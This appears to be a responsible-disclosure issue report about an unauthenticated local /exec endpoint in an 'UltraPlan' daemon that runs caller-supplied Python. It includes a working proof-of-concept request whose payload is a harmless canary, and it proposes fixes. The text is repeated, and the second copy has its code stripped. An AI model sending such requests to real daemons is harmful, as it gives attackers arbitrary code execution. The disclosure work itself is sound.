What
When the opt-in UltraPlan daemon starts, it binds 127.0.0.1:47831 and its POST /exec handler runs caller-supplied code through exec(compile(req.get("code",""),...)) with no per-start token or auth check — the handler checks only self.path == "/exec" (assets/ga_ultraplan.py:73, sink at :82, bind at :96, at commit eff6802b56b48a97fba2fb3335c404f6dd1c7c0d). Any local process that can reach the loopback port can submit Python and have it executed by the daemon. The daemon is started by --daemon, but plan() also auto-spawns it in the background via _show() (:108) the first time it is used, so an explicit --daemon invocation is not the only entry point.
How to reproduce
Start the daemon in one shell:
GA_ULTRAPLAN_BROWSER=0 python assets/ga_ultraplan.py --daemon
From a second shell, POST a harmless canary that writes a fresh nonce to a temp file — no token, no cookies, no headers beyond Content-Type:
import json, tempfile, urllib.request, uuid
from pathlib import Path
nonce = "LOCAL_CANARY_" + uuid.uuid4().hex
marker = Path(tempfile.gettempdir()) / ("genericagent-" + uuid.uuid4().hex + ".txt")
code = "from pathlib import Path; " f"Path({str(marker)!r}).write_text({nonce!r})"
req = urllib.request.Request(
"http://127.0.0.1:47831/exec",
data=json.dumps({"rundir": str(marker.parent), "code": code}).encode(),
headers={"Content-Type": "application/json"}, method="POST")
print(urllib.request.urlopen(req).read().decode())
print(marker.read_text())
Observed (run against eff6802b56b48a97fba2fb3335c404f6dd1c7c0d):
{"returncode": 0, "stdout": "", "stderr": ""}
LOCAL_CANARY_ee7619a112fa4a8b9c847e2b01e29f28
The request is accepted with no credentials and the marker file contains the nonce, so the unauthenticated handler reached the exec sink.
Impact / scope
The direct effect is Python execution in the daemon process. On a single-user dev box a same-user process can already run code, so the severity is modest in that shape; it matters more if the daemon runs under a different principal than the caller — a different OS user, a sandboxed app, or a container that can reach the host loopback. Not claiming a browser, DNS-rebinding, Private Network Access, or remote-network delivery path; the bind is loopback only.
Suggested change
Mint a high-entropy per-start secret and require it on every /exec request with hmac.compare_digest; prefer a Unix-domain socket with restrictive permissions, or replace the raw code field with structured operations. Happy to open a PR.
What
When the opt-in UltraPlan daemon starts, it binds
127.0.0.1:47831and itsPOST /exechandler runs caller-supplied code throughexec(compile(req.get("code",""),...))with no per-start token or auth check — the handler checks onlyself.path == "/exec"(assets/ga_ultraplan.py:73, sink at:82, bind at:96, at commiteff6802b56b48a97fba2fb3335c404f6dd1c7c0d). Any local process that can reach the loopback port can submit Python and have it executed by the daemon. The daemon is started by--daemon, butplan()also auto-spawns it in the background via_show()(:108) the first time it is used, so an explicit--daemoninvocation is not the only entry point.How to reproduce
Start the daemon in one shell:
From a second shell, POST a harmless canary that writes a fresh nonce to a temp file — no token, no cookies, no headers beyond
Content-Type:Observed (run against
eff6802b56b48a97fba2fb3335c404f6dd1c7c0d):The request is accepted with no credentials and the marker file contains the nonce, so the unauthenticated handler reached the
execsink.Impact / scope
The direct effect is Python execution in the daemon process. On a single-user dev box a same-user process can already run code, so the severity is modest in that shape; it matters more if the daemon runs under a different principal than the caller — a different OS user, a sandboxed app, or a container that can reach the host loopback. Not claiming a browser, DNS-rebinding, Private Network Access, or remote-network delivery path; the bind is loopback only.
Suggested change
Mint a high-entropy per-start secret and require it on every
/execrequest withhmac.compare_digest; prefer a Unix-domain socket with restrictive permissions, or replace the rawcodefield with structured operations. Happy to open a PR.